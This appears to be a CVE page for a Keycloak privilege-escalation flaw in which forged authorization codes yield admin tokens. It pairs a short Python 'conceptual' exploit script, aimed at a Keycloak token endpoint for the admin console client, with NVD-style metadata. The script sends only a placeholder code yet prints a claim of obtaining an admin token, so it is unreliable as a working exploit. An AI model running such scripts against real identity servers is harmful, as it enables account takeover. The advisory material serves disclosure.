CVE-2026-4282

import requests # Conceptual PoC for CVE-2026-4282 # Exploits namespace isolation flaw in SingleUseObjectProvider target = "http://vulnerable-keycloak/realms/master/protocol/openid-connect/token" # Attacker crafts a payload that manipulates the global store malicious_code = "forged_auth_code_via_isolation_flaw" payload = { "grant_type": "authorization_code", "client_id": "security-admin-console", "code": malicious_code, "redirect_uri": "http://localhost" } try: r = requests.post(target, data=payload) if r.status_code == 200 and "access_token" in r.json(): print("[+] Exploit Successful! Admin Token obtained:") print(r.json()) else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-4282", "sourceIdentifier": "[email protected]", "published": "2026-04-02T13:16:26.680", "lastModified": "2026-04-16T20:52:33.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. The SingleUseObjectProvider, a global key-value store, lacks proper type and namespace isolation. This vulnerability allows an unauthenticated attacker to forge authorization codes. Successful exploitation can lead to the creation of admin-capable access tokens, resulting in privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-653"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:-:*:*:*:text-only:*:*:*", "matchCriteriaId": "1830E455-7E11-4264-862D-05971A42D4A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.2:*:*:*:text-only:*:*:*", "matchCriteriaId": "C339EBE3-6BFD-4082-B904-4E8DB87AAE68"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.2.15:*:*:*:text-only:*:*:*", "matchCriteriaId": "3BDF8A92-727E-401B-80BB-A141DCB39750"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.4:*:*:*:text-only:*:*:*", "matchCriteriaId": "100AA077-7467-4F62-A8FD-88BC336972DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:build_of_keycloak:26.4.11:*:*:*:text-only:*:*:*", "matchCriteriaId": "17E79930-BE1C-4901-AF63-36B3EB149AFC"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:6475", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6476", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6477", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/errata/RHSA-2026:6478", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-4282", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448061", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}